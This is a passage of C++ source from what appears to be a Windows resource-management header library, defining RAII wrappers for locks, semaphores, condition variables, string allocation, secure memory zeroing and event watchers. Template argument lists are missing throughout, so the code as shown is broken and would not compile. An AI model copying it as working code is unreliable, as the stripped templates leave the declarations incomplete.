SEMAPHORE_MODIFY_STATE, bool inheritHandle = false)\n {\n auto handle = ::OpenSemaphoreW(desiredAccess, inheritHandle, name);\n if (handle == nullptr)\n {\n return false;\n }\n storage_t::reset(handle);\n return true;\n }\n\n // Returns HRESULT for unique_semaphore_nothrow, void with exceptions for shared_semaphore and unique_semaphore\n result open(_In_ PCWSTR name, DWORD desiredAccess = SYNCHRONIZE | SEMAPHORE_MODIFY_STATE, bool inheritHandle = false)\n {\n return err_policy::LastErrorIfFalse(try_open(name, desiredAccess, inheritHandle));\n }\n };\n\n typedef unique_any_t, err_returncode_policy>> unique_semaphore_nothrow;\n typedef unique_any_t, err_failfast_policy>> unique_semaphore_failfast;\n#ifdef WIL_ENABLE_EXCEPTIONS\n typedef unique_any_t, err_exception_policy>> unique_semaphore;\n#endif\n\n typedef unique_any rwlock_release_exclusive_scope_exit;\n typedef unique_any rwlock_release_shared_scope_exit;\n\n WI_NODISCARD inline rwlock_release_exclusive_scope_exit AcquireSRWLockExclusive(_Inout_ SRWLOCK *plock) WI_NOEXCEPT\n {\n ::AcquireSRWLockExclusive(plock);\n return rwlock_release_exclusive_scope_exit(plock);\n }\n\n WI_NODISCARD inline rwlock_release_shared_scope_exit AcquireSRWLockShared(_Inout_ SRWLOCK *plock) WI_NOEXCEPT\n {\n ::AcquireSRWLockShared(plock);\n return rwlock_release_shared_scope_exit(plock);\n }\n\n WI_NODISCARD inline rwlock_release_exclusive_scope_exit TryAcquireSRWLockExclusive(_Inout_ SRWLOCK *plock) WI_NOEXCEPT\n {\n return rwlock_release_exclusive_scope_exit(::TryAcquireSRWLockExclusive(plock) ? plock : nullptr);\n }\n\n WI_NODISCARD inline rwlock_release_shared_scope_exit TryAcquireSRWLockShared(_Inout_ SRWLOCK *plock) WI_NOEXCEPT\n {\n return rwlock_release_shared_scope_exit(::TryAcquireSRWLockShared(plock) ? plock : nullptr);\n }\n\n class srwlock\n {\n public:\n srwlock(const srwlock&) = delete;\n srwlock(srwlock&&) = delete;\n srwlock& operator=(const srwlock&) = delete;\n srwlock& operator=(srwlock&&) = delete;\n\n srwlock() = default;\n\n WI_NODISCARD rwlock_release_exclusive_scope_exit lock_exclusive() WI_NOEXCEPT\n {\n return wil::AcquireSRWLockExclusive(&m_lock);\n }\n\n WI_NODISCARD rwlock_release_exclusive_scope_exit try_lock_exclusive() WI_NOEXCEPT\n {\n return wil::TryAcquireSRWLockExclusive(&m_lock);\n }\n\n WI_NODISCARD rwlock_release_shared_scope_exit lock_shared() WI_NOEXCEPT\n {\n return wil::AcquireSRWLockShared(&m_lock);\n }\n\n WI_NODISCARD rwlock_release_shared_scope_exit try_lock_shared() WI_NOEXCEPT\n {\n return wil::TryAcquireSRWLockShared(&m_lock);\n }\n\n private:\n SRWLOCK m_lock = SRWLOCK_INIT;\n };\n\n typedef unique_any cs_leave_scope_exit;\n\n WI_NODISCARD inline cs_leave_scope_exit EnterCriticalSection(_Inout_ CRITICAL_SECTION *pcs) WI_NOEXCEPT\n {\n ::EnterCriticalSection(pcs);\n return cs_leave_scope_exit(pcs);\n }\n\n WI_NODISCARD inline cs_leave_scope_exit TryEnterCriticalSection(_Inout_ CRITICAL_SECTION *pcs) WI_NOEXCEPT\n {\n return cs_leave_scope_exit(::TryEnterCriticalSection(pcs) ? pcs : nullptr);\n }\n\n // Critical sections are worse than srwlocks in performance and memory usage (their only unique attribute\n // being recursive acquisition). Prefer srwlocks over critical sections when you don't need recursive acquisition.\n class critical_section\n {\n public:\n critical_section(const critical_section&) = delete;\n critical_section(critical_section&&) = delete;\n critical_section& operator=(const critical_section&) = delete;\n critical_section& operator=(critical_section&&) = delete;\n\n critical_section(ULONG spincount = 0) WI_NOEXCEPT\n {\n // Initialization will not fail without invalid params...\n ::InitializeCriticalSectionEx(&m_cs, spincount, 0);\n }\n\n ~critical_section() WI_NOEXCEPT\n {\n ::DeleteCriticalSection(&m_cs);\n }\n\n WI_NODISCARD cs_leave_scope_exit lock() WI_NOEXCEPT\n {\n return wil::EnterCriticalSection(&m_cs);\n }\n\n WI_NODISCARD cs_leave_scope_exit try_lock() WI_NOEXCEPT\n {\n return wil::TryEnterCriticalSection(&m_cs);\n }\n\n private:\n CRITICAL_SECTION m_cs;\n };\n\n class condition_variable\n {\n public:\n condition_variable(const condition_variable&) = delete;\n condition_variable(condition_variable&&) = delete;\n condition_variable& operator=(const condition_variable&) = delete;\n condition_variable& operator=(condition_variable&&) = delete;\n\n condition_variable() = default;\n\n void notify_one() WI_NOEXCEPT\n {\n ::WakeConditionVariable(&m_cv);\n }\n\n void notify_all() WI_NOEXCEPT\n {\n ::WakeAllConditionVariable(&m_cv);\n }\n\n void wait(const cs_leave_scope_exit& lock) WI_NOEXCEPT\n {\n wait_for(lock, INFINITE);\n }\n\n void wait(const rwlock_release_exclusive_scope_exit& lock) WI_NOEXCEPT\n {\n wait_for(lock, INFINITE);\n }\n\n void wait(const rwlock_release_shared_scope_exit& lock) WI_NOEXCEPT\n {\n wait_for(lock, INFINITE);\n }\n\n bool wait_for(const cs_leave_scope_exit& lock, DWORD timeoutMs) WI_NOEXCEPT\n {\n bool result = !!::SleepConditionVariableCS(&m_cv, lock.get(), timeoutMs);\n __FAIL_FAST_ASSERT__(result || ::GetLastError() == ERROR_TIMEOUT);\n return result;\n }\n\n bool wait_for(const rwlock_release_exclusive_scope_exit& lock, DWORD timeoutMs) WI_NOEXCEPT\n {\n bool result = !!::SleepConditionVariableSRW(&m_cv, lock.get(), timeoutMs, 0);\n __FAIL_FAST_ASSERT__(result || ::GetLastError() == ERROR_TIMEOUT);\n return result;\n }\n\n bool wait_for(const rwlock_release_shared_scope_exit& lock, DWORD timeoutMs) WI_NOEXCEPT\n {\n bool result = !!::SleepConditionVariableSRW(&m_cv, lock.get(), timeoutMs, CONDITION_VARIABLE_LOCKMODE_SHARED);\n __FAIL_FAST_ASSERT__(result || ::GetLastError() == ERROR_TIMEOUT);\n return result;\n }\n\n private:\n CONDITION_VARIABLE m_cv = CONDITION_VARIABLE_INIT;\n };\n\n /// @cond\n namespace details\n {\n template struct string_allocator\n {\n static void* allocate(size_t /*size*/) WI_NOEXCEPT\n {\n static_assert(!wistd::is_same::value, \"This type did not provide a string_allocator, add a specialization of string_allocator to support your type.\");\n return nullptr;\n }\n };\n }\n /// @endcond\n\n // This string helper does not support the ansi wil string helpers\n template\n PCWSTR string_get_not_null(const string_type& string)\n {\n return string ? string.get() : L\"\";\n }\n\n#ifndef MAKE_UNIQUE_STRING_MAX_CCH\n#define MAKE_UNIQUE_STRING_MAX_CCH 2147483647 // max buffer size, in characters, that we support (same as INT_MAX)\n#endif\n\n /** Copies a string (up to the given length) into memory allocated with a specified allocator returning null on failure.\n Use `wil::make_unique_string_nothrow()` for string resources returned from APIs that must satisfy a memory allocation contract\n that requires use of a specific allocator and free function (CoTaskMemAlloc/CoTaskMemFree, LocalAlloc/LocalFree, GlobalAlloc/GlobalFree, etc.).\n ~~~\n auto str = wil::make_unique_string_nothrow(L\"a string of words\", 8);\n RETURN_IF_NULL_ALLOC(str);\n std::wcout << L\"This is \" << str.get() << std::endl; // prints \"This is a string\"\n\n auto str = wil::make_unique_string_nothrow(L\"a string\");\n RETURN_IF_NULL_ALLOC(str);\n std::wcout << L\"This is \" << str.get() << std::endl; // prints \"This is a string\"\n\n NOTE: If source is not null terminated, then length MUST be equal to or less than the size\n of the buffer pointed to by source.\n ~~~\n */\n template string_type make_unique_string_nothrow(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n const wchar_t* source, size_t length = static_cast(-1)) WI_NOEXCEPT\n {\n // guard against invalid parameters (null source with -1 length)\n FAIL_FAST_IF(!source && (length == static_cast(-1)));\n\n // When the source string exists, calculate the number of characters to copy up to either\n // 1) the length that is given\n // 2) the length of the source string. When the source does not exist, use the given length\n // for calculating both the size of allocated buffer and the number of characters to copy.\n size_t lengthToCopy = length;\n if (source)\n {\n size_t maxLength = length < MAKE_UNIQUE_STRING_MAX_CCH ? length : MAKE_UNIQUE_STRING_MAX_CCH;\n PCWSTR endOfSource = source;\n while (maxLength && (*endOfSource != L'\\0'))\n {\n endOfSource++;\n maxLength--;\n }\n lengthToCopy = endOfSource - source;\n }\n\n if (length == static_cast(-1))\n {\n length = lengthToCopy;\n }\n const size_t allocatedBytes = (length + 1) * sizeof(*source);\n auto result = static_cast(details::string_allocator::allocate(allocatedBytes));\n\n if (result)\n {\n if (source)\n {\n const size_t bytesToCopy = lengthToCopy * sizeof(*source);\n memcpy_s(result, allocatedBytes, source, bytesToCopy);\n result[lengthToCopy] = L'\\0'; // ensure the copied string is zero terminated\n }\n else\n {\n *result = L'\\0'; // ensure null terminated in the \"reserve space\" use case.\n }\n result[length] = L'\\0'; // ensure the final char of the buffer is zero terminated\n }\n return string_type(result);\n }\n#ifndef WIL_NO_ANSI_STRINGS\n template string_type make_unique_ansistring_nothrow(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT\n {\n // guard against invalid parameters (null source with -1 length)\n FAIL_FAST_IF(!source && (length == static_cast(-1)));\n\n if (length == static_cast(-1))\n {\n length = strlen(source);\n }\n const size_t cb = (length + 1) * sizeof(*source);\n auto result = static_cast(details::string_allocator::allocate(cb));\n if (result)\n {\n if (source)\n {\n memcpy_s(result, cb, source, cb - sizeof(*source));\n }\n else\n {\n *result = '\\0'; // ensure null terminated in the \"reserve space\" use case.\n }\n result[length] = '\\0'; // ensure zero terminated\n }\n return string_type(result);\n }\n#endif // WIL_NO_ANSI_STRINGS\n\n /** Copies a given string into memory allocated with a specified allocator that will fail fast on failure.\n The use of variadic templates parameters supports the 2 forms of make_unique_string, see those for more details.\n */\n template string_type make_unique_string_failfast(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCWSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT\n {\n auto result(make_unique_string_nothrow(source, length));\n FAIL_FAST_IF_NULL_ALLOC(result);\n return result;\n }\n\n#ifndef WIL_NO_ANSI_STRINGS\n template string_type make_unique_ansistring_failfast(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT\n {\n auto result(make_unique_ansistring_nothrow(source, length));\n FAIL_FAST_IF_NULL_ALLOC(result);\n return result;\n }\n#endif // WIL_NO_ANSI_STRINGS\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n /** Copies a given string into memory allocated with a specified allocator that will throw on failure.\n The use of variadic templates parameters supports the 2 forms of make_unique_string, see those for more details.\n */\n template string_type make_unique_string(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCWSTR source, size_t length = static_cast(-1))\n {\n auto result(make_unique_string_nothrow(source, length));\n THROW_IF_NULL_ALLOC(result);\n return result;\n }\n#ifndef WIL_NO_ANSI_STRINGS\n template string_type make_unique_ansistring(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCSTR source, size_t length = static_cast(-1))\n {\n auto result(make_unique_ansistring_nothrow(source, length));\n THROW_IF_NULL_ALLOC(result);\n return result;\n }\n#endif // WIL_NO_ANSI_STRINGS\n#endif // WIL_ENABLE_EXCEPTIONS\n\n /// @cond\n namespace details\n {\n // string_maker abstracts creating a string for common string types. This form supports the\n // wil::unique_xxx_string types. Specializations of other types like HSTRING and std::wstring\n // are found in wil\\winrt.h and wil\\stl.h.\n // This design supports creating the string in a single step or using two phase construction.\n\n template struct string_maker\n {\n HRESULT make(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n const wchar_t* source,\n size_t length)\n {\n m_value = make_unique_string_nothrow(source, length);\n return m_value ? S_OK : E_OUTOFMEMORY;\n }\n\n wchar_t* buffer() { WI_ASSERT(m_value.get()); return m_value.get(); }\n\n // By default, assume string_type is a null-terminated string and therefore does not require trimming.\n HRESULT trim_at_existing_null(size_t /* length */) { return S_OK; }\n\n string_type release() { return wistd::move(m_value); }\n\n // Utility to abstract access to the null terminated m_value of all string types.\n static PCWSTR get(const string_type& value) { return value.get(); }\n\n private:\n string_type m_value; // a wil::unique_xxx_string type.\n };\n\n struct SecureZeroData\n {\n void *pointer;\n size_t sizeBytes;\n SecureZeroData(void *pointer_, size_t sizeBytes_ = 0) WI_NOEXCEPT { pointer = pointer_; sizeBytes = sizeBytes_; }\n operator void *() const WI_NOEXCEPT { return pointer; }\n static void Close(SecureZeroData data) WI_NOEXCEPT { ::SecureZeroMemory(data.pointer, data.sizeBytes); }\n };\n }\n /// @endcond\n\n typedef unique_any secure_zero_memory_scope_exit;\n\n WI_NODISCARD inline secure_zero_memory_scope_exit SecureZeroMemory_scope_exit(_In_reads_bytes_(sizeBytes) void* pSource, size_t sizeBytes)\n {\n return secure_zero_memory_scope_exit(details::SecureZeroData(pSource, sizeBytes));\n }\n\n WI_NODISCARD inline secure_zero_memory_scope_exit SecureZeroMemory_scope_exit(_In_ PWSTR initializedString)\n {\n return SecureZeroMemory_scope_exit(static_cast(initializedString), wcslen(initializedString) * sizeof(initializedString[0]));\n }\n\n /// @cond\n namespace details\n {\n inline void __stdcall FreeProcessHeap(_Pre_opt_valid_ _Frees_ptr_opt_ void* p)\n {\n ::HeapFree(::GetProcessHeap(), 0, p);\n }\n }\n /// @endcond\n\n struct process_heap_deleter\n {\n template \n void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T* p) const\n {\n details::FreeProcessHeap(p);\n }\n };\n\n struct virtualalloc_deleter\n {\n template\n void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T* p) const\n {\n ::VirtualFree(p, 0, MEM_RELEASE);\n }\n };\n\n struct mapview_deleter\n {\n template\n void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T* p) const\n {\n ::UnmapViewOfFile(p);\n }\n };\n\n template \n using unique_process_heap_ptr = wistd::unique_ptr;\n\n typedef unique_any unique_process_heap_string;\n\n /// @cond\n namespace details\n {\n template<> struct string_allocator\n {\n static _Ret_opt_bytecap_(size) void* allocate(size_t size) WI_NOEXCEPT\n {\n return ::HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, size);\n }\n };\n }\n /// @endcond\n\n /** Manages a typed pointer allocated with VirtualAlloc\n A specialization of wistd::unique_ptr<> that frees via VirtualFree(p, 0, MEM_RELEASE).\n */\n template\n using unique_virtualalloc_ptr = wistd::unique_ptr;\n\n /** Manages a typed pointer allocated with MapViewOfFile\n A specialization of wistd::unique_ptr<> that frees via UnmapViewOfFile(p).\n */\n template\n using unique_mapview_ptr = wistd::unique_ptr;\n\n#endif // __WIL_WINBASE_\n\n#if defined(__WIL_WINBASE_) && defined(__NOTHROW_T_DEFINED) && !defined(__WIL_WINBASE_NOTHROW_T_DEFINED)\n#define __WIL_WINBASE_NOTHROW_T_DEFINED\n // unique_event_watcher, unique_event_watcher_nothrow, unique_event_watcher_failfast\n //\n // Clients must include or to enable use of this class as it uses new(std::nothrow).\n // This is to avoid the dependency on those headers that some clients can't tolerate.\n //\n // These classes makes it easy to execute a provided function when an event\n // is signaled. It will create the event handle for you, take ownership of one\n // or duplicate a handle provided. It supports the ability to signal the\n // event using SetEvent() and SetEvent_scope_exit();\n //\n // This can be used to support producer-consumer pattern\n // where a producer updates some state then signals the event when done.\n // The consumer will consume that state in the callback provided to unique_event_watcher.\n //\n // Note, multiple signals may coalesce into a single callback.\n //\n // Example use of throwing version:\n // auto globalStateWatcher = wil::make_event_watcher([]\n // {\n // currentState = GetGlobalState();\n // });\n //\n // UpdateGlobalState(value);\n // globalStateWatcher.SetEvent(); // signal observers so they can update\n //\n // Example use of non-throwing version:\n // auto globalStateWatcher = wil::make_event_watcher_nothrow([]\n // {\n // currentState = GetGlobalState();\n // });\n // RETURN_IF_NULL_ALLOC(globalStateWatcher);\n //\n // UpdateGlobalState(value);\n // globalStateWatcher.SetEvent(); // signal observers so they can update\n\n /// @cond\n namespace details\n {\n struct event_watcher_state\n {\n event_watcher_state(unique_event_nothrow &&eventHandle, wistd::function &&callback)\n : m_callback(wistd::move(callback)), m_event(wistd::move(eventHandle))\n {\n }\n wistd::function m_callback;\n unique_event_nothrow m_event;\n // The thread pool must be last to ensure that the other members are valid\n // when it is destructed as it will reference them.\n unique_threadpool_wait m_threadPoolWait;\n };\n\n inline void delete_event_watcher_state(_In_opt_ event_watcher_state *watcherStorage) { delete watcherStorage; }\n\n typedef resource_policy event_watcher_state_resource_policy;\n }\n /// @endcond\n\n template \n class event_watcher_t : public storage_t\n {\n public:\n // forward all base class constructors...\n template \n explicit event_watcher_t(args_t&&... args) WI_NOEXCEPT : storage_t(wistd::forward(args)...) {}\n\n // HRESULT or void error handling...\n typedef typename err_policy::result result;\n\n // Exception-based constructors\n template \n event_watcher_t(unique_any_t, from_err_policy>> &&eventHandle, wistd::function &&callback)\n {\n static_assert(wistd::is_same::value, \"this constructor requires exceptions or fail fast; use the create method\");\n create(wistd::move(eventHandle), wistd::move(callback));\n }\n\n event_watcher_t(_In_ HANDLE eventHandle, wistd::function &&callback)\n {\n static_assert(wistd::is_same::value, \"this constructor requires exceptions or fail fast; use the create method\");\n create(eventHandle, wistd::move(callback));\n }\n\n event_watcher_t(wistd::function &&callback)\n {\n static_assert(wistd::is_same::value, \"this constructor requires exceptions or fail fast; use the create method\");\n create(wistd::move(callback));\n }\n\n template \n result create(unique_any_t, event_err_policy>> &&eventHandle,\n wistd::function &&callback)\n {\n return err_policy::HResult(create_take_hevent_ownership(eventHandle.release(), wistd::move(callback)));\n }\n\n // Creates the event that you will be watching.\n result create(wistd::function &&callback)\n {\n unique_event_nothrow eventHandle;\n HRESULT hr = eventHandle.create(EventOptions::ManualReset); // auto-reset is supported too.\n if (FAILED(hr))\n {\n return err_policy::HResult(hr);\n }\n return err_policy::HResult(create_take_hevent_ownership(eventHandle.release(), wistd::move(callback)));\n }\n\n // Input is an event handler that is duplicated into this class.\n result create(_In_ HANDLE eventHandle, wistd::function &&callback)\n {\n unique_event_nothrow ownedHandle;\n if (!DuplicateHandle(GetCurrentProcess(), eventHandle, GetCurrentProcess(), &ownedHandle, 0, FALSE, DUPLICATE_SAME_ACCESS))\n {\n return err_policy::LastError();\n }\n return err_policy::HResult(create_take_hevent_ownership(ownedHandle.release(), wistd::move(callback)));\n }\n\n // Provide access to the inner event and the very common SetEvent() method on it.\n unique_event_nothrow const& get_event() const WI_NOEXCEPT { return storage_t::get()->m_event; }\n void SetEvent() const WI_NOEXCEPT { storage_t::get()->m_event.SetEvent(); }\n\n private:\n\n // Had to move this from a Lambda so it would compile in C++/CLI (which thought the Lambda should be a managed function for some reason).\n static void CALLBACK wait_callback(PTP_CALLBACK_INSTANCE, void *context, TP_WAIT *pThreadPoolWait, TP_WAIT_RESULT)\n {\n auto pThis = static_cast(context);\n // Manual events must be re-set to avoid missing the last notification.\n pThis->m_event.ResetEvent();\n // Call the client before re-arming to ensure that multiple callbacks don't\n // run concurrently.\n pThis->m_callback();\n SetThreadpoolWait(pThreadPoolWait, pThis->m_event.get(), nullptr); // valid params ensure success\n }\n\n // To avoid template expansion (if unique_event/unique_event_nothrow forms were used) this base\n // create function takes a raw handle and assumes its ownership, even on failure.\n HRESULT create_take_hevent_ownership(_In_ HANDLE rawHandleOwnershipTaken, wistd::function &&callback)\n {\n __FAIL_FAST_ASSERT__(rawHandleOwnershipTaken != nullptr); // invalid parameter\n unique_event_nothrow eventHandle(rawHandleOwnershipTaken);\n wistd::unique_ptr watcherState(new(std::nothrow) details::event_watcher_state(wistd::move(eventHandle), wistd::move(callback)));\n RETURN_IF_NULL_ALLOC(watcherState);\n\n watcherState->m_threadPoolWait.reset(CreateThreadpoolWait(wait_callback, watcherState.get(), nullptr));\n RETURN_LAST_ERROR_IF(!watcherState->m_threadPoolWait);\n storage_t::reset(watcherState.release()); // no more failures after this, pass ownership\n SetThreadpoolWait(storage_t::get()->m_threadPoolWait.get(), storage_t::get()->m_event.get(), nullptr);\n return S_OK;\n }\n };\n\n typedef unique_any_t, err_returncode_policy>> unique_event_watcher_nothrow;\n typedef unique_any_t, err_failfast_policy>> unique_event_watcher_failfast;\n\n template \n unique_event_watcher_nothrow make_event_watcher_nothrow(unique_any_t, err_policy>> &&eventHandle, wistd::function &&callback) WI_NOEXCEPT\n {\n unique_event_watcher_nothrow watcher;\n watcher.create(wistd::move(eventHandle), wistd::move(callback));\n return watcher; // caller must test for success using if (watcher)\n }\n\n inline unique_event_watcher_nothrow make_event_watcher_nothrow(_In_ HANDLE eventHandle, wistd::function &&callback) WI_NOEXCEPT\n {\n unique_event_watcher_nothrow watcher;\n watcher.create(eventHandle, wistd::move(callback));\n return watcher; // caller must test for success using if (watcher)\n }\n\n inline unique_event_watcher_nothrow make_event_watcher_nothrow(wistd::function &&callback) WI_NOEXCEPT\n {\n unique_event_watcher_nothrow watcher;\n watcher.create(wistd::move(callback));\n return watcher; // caller must test for success using if (watcher)\n }\n\n template \n unique_event_watcher_failfast make_event_watcher_failfast(unique_any_t, err_policy>> &&eventHandle, wistd::function &&callback)\n {\n return unique_event_watcher_failfast(wistd::move(eventHandle), wistd::move(callback));\n }\n\n inline unique_event_watcher_failfast make_event_watcher_failfast(_In_ HANDLE eventHandle, wistd::function &&callback)\n {\n return unique_event_watcher_failfast(eventHandle, wistd::move(callback));\n }\n\n inline unique_event_watcher_failfast make_event_watcher_failfast(wistd::function &&callback)\n {\n return unique_event_watcher_failfast(wistd::move(callback));\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n typedef unique_any_t, err_exception_policy>> unique_event_watcher;\n\n template \n unique_event_watcher make_event_watcher(unique_any_t, err_policy>> &&eventHandle, wistd::function &&callback)\n {\n return unique_event_watcher(wistd::move(eventHandle), wistd::move(callback));\n }\n\n inline unique_event_watcher make_event_watcher(_In_ HANDLE eventHandle, wistd::function &&callback)\n {\n return unique_event_watcher(eventHandle, wistd::move(callback));\n }\n\n inline unique_event_watcher make_event_watcher(wistd::function &&callback)\n {\n return unique_event_watcher(wistd::move(callback));\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n#endif // __WIL_WINBASE_NOTHROW_T_DEFINED\n\n#if defined(__WIL_WINBASE_) && !defined(__WIL_WINBASE_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_WINBASE_STL\n typedef shared_any_t>> shared_event;\n typedef shared_any_t>> shared_mutex;\n typedef shared_any_t>> shared_semaphore;\n typedef shared_any shared_hfile;\n typedef shared_any shared_handle;\n typedef shared_any shared_hfind;\n typedef shared_any shared_hmodule;\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n typedef shared_any shared_threadpool_wait;\n typedef shared_any shared_threadpool_wait_nocancel;\n typedef shared_any shared_threadpool_work;\n typedef shared_any shared_threadpool_work_nocancel;\n\n typedef shared_any shared_hfind_change;\n#endif\n\n typedef weak_any weak_event;\n typedef weak_any weak_mutex;\n typedef weak_any weak_semaphore;\n typedef weak_any weak_hfile;\n typedef weak_any weak_handle;\n typedef weak_any weak_hfind;\n typedef weak_any weak_hmodule;\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n typedef weak_any weak_threadpool_wait;\n typedef weak_any weak_threadpool_wait_nocancel;\n typedef weak_any weak_threadpool_work;\n typedef weak_any weak_threadpool_work_nocancel;\n\n typedef weak_any weak_hfind_change;\n#endif\n\n#endif // __WIL_WINBASE_STL\n\n#if defined(__WIL_WINBASE_) && defined(__NOTHROW_T_DEFINED) && !defined(__WIL_WINBASE_NOTHROW_T_DEFINED_STL) && defined(WIL_RESOURCE_STL) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL_WINBASE_NOTHROW_T_DEFINED_STL\n typedef shared_any_t>> shared_event_watcher;\n typedef weak_any weak_event_watcher;\n#endif // __WIL_WINBASE_NOTHROW_T_DEFINED_STL\n\n#if defined(__WIL_WINBASE_) && !defined(__WIL_WINBASE_DESKTOP) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL_WINBASE_DESKTOP\n /// @cond\n namespace details\n {\n inline void __stdcall DestroyPrivateObjectSecurity(_Pre_opt_valid_ _Frees_ptr_opt_ PSECURITY_DESCRIPTOR pObjectDescriptor) WI_NOEXCEPT\n {\n ::DestroyPrivateObjectSecurity(&pObjectDescriptor);\n }\n }\n /// @endcond\n\n using hlocal_deleter = function_deleter;\n\n template \n using unique_hlocal_ptr = wistd::unique_ptr;\n\n /** Provides `std::make_unique()` semantics for resources allocated with `LocalAlloc()` in a context that may not throw upon allocation failure.\n Use `wil::make_unique_hlocal_nothrow()` for resources returned from APIs that must satisfy a memory allocation contract that requires the use of `LocalAlloc()` / `LocalFree()`.\n Use `wil::make_unique_nothrow()` when `LocalAlloc()` is not required.\n\n Allocations are initialized with placement new and will call constructors (if present), but this does not guarantee initialization.\n\n Note that `wil::make_unique_hlocal_nothrow()` is not marked WI_NOEXCEPT as it may be used to create an exception-based class that may throw in its constructor.\n ~~~\n auto foo = wil::make_unique_hlocal_nothrow();\n if (foo)\n {\n // initialize allocated Foo object as appropriate\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value, unique_hlocal_ptr>::type make_unique_hlocal_nothrow(Args&&... args)\n {\n static_assert(wistd::is_trivially_destructible::value, \"T has a destructor that won't be run when used with this function; use make_unique instead\");\n unique_hlocal_ptr sp(static_cast(::LocalAlloc(LMEM_FIXED, sizeof(T))));\n if (sp)\n {\n // use placement new to initialize memory from the previous allocation\n new (sp.get()) T(wistd::forward(args)...);\n }\n return sp;\n }\n\n /** Provides `std::make_unique()` semantics for array resources allocated with `LocalAlloc()` in a context that may not throw upon allocation failure.\n See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details.\n ~~~\n const size_t size = 42;\n auto foos = wil::make_unique_hlocal_nothrow(size);\n if (foos)\n {\n for (auto& elem : wil::make_range(foos.get(), size))\n {\n // initialize allocated Foo objects as appropriate\n }\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_hlocal_ptr>::type make_unique_hlocal_nothrow(size_t size)\n {\n typedef typename wistd::remove_extent::type E;\n static_assert(wistd::is_trivially_destructible::value, \"E has a destructor that won't be run when used with this function; use make_unique instead\");\n FAIL_FAST_IF((__WI_SIZE_MAX / sizeof(E)) < size);\n size_t allocSize = sizeof(E) * size;\n unique_hlocal_ptr sp(static_cast(::LocalAlloc(LMEM_FIXED, allocSize)));\n if (sp)\n {\n // use placement new to initialize memory from the previous allocation;\n // note that array placement new cannot be used as the standard allows for operator new[]\n // to consume overhead in the allocation for internal bookkeeping\n for (auto& elem : make_range(static_cast(sp.get()), size))\n {\n new (&elem) E();\n }\n }\n return sp;\n }\n\n /** Provides `std::make_unique()` semantics for resources allocated with `LocalAlloc()` in a context that must fail fast upon allocation failure.\n See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details.\n ~~~\n auto foo = wil::make_unique_hlocal_failfast();\n // initialize allocated Foo object as appropriate\n ~~~\n */\n template \n inline typename wistd::enable_if::value, unique_hlocal_ptr>::type make_unique_hlocal_failfast(Args&&... args)\n {\n unique_hlocal_ptr result(make_unique_hlocal_nothrow(wistd::forward(args)...));\n FAIL_FAST_IF_NULL_ALLOC(result);\n return result;\n }\n\n /** Provides `std::make_unique()` semantics for array resources allocated with `LocalAlloc()` in a context that must fail fast upon allocation failure.\n See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details.\n ~~~\n const size_t size = 42;\n auto foos = wil::make_unique_hlocal_failfast(size);\n for (auto& elem : wil::make_range(foos.get(), size))\n {\n // initialize allocated Foo objects as appropriate\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_hlocal_ptr>::type make_unique_hlocal_failfast(size_t size)\n {\n unique_hlocal_ptr result(make_unique_hlocal_nothrow(size));\n FAIL_FAST_IF_NULL_ALLOC(result);\n return result;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n /** Provides `std::make_unique()` semantics for resources allocated with `LocalAlloc()`.\n See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details.\n ~~~\n auto foo = wil::make_unique_hlocal();\n // initialize allocated Foo object as appropriate\n ~~~\n */\n template \n inline typename wistd::enable_if::value, unique_hlocal_ptr>::type make_unique_hlocal(Args&&... args)\n {\n unique_hlocal_ptr result(make_unique_hlocal_nothrow(wistd::forward(args)...));\n THROW_IF_NULL_ALLOC(result);\n return result;\n }\n\n /** Provides `std::make_unique()` semantics for array resources allocated with `LocalAlloc()`.\n See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details.\n ~~~\n const size_t size = 42;\n auto foos = wil::make_unique_hlocal(size);\n for (auto& elem : wil::make_range(foos.get(), size))\n {\n // initialize allocated Foo objects as appropriate\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_hlocal_ptr>::type make_unique_hlocal(size_t size)\n {\n unique_hlocal_ptr result(make_unique_hlocal_nothrow(size));\n THROW_IF_NULL_ALLOC(result);\n return result;\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n typedef unique_any unique_hlocal;\n typedef unique_any unique_hlocal_string;\n#ifndef 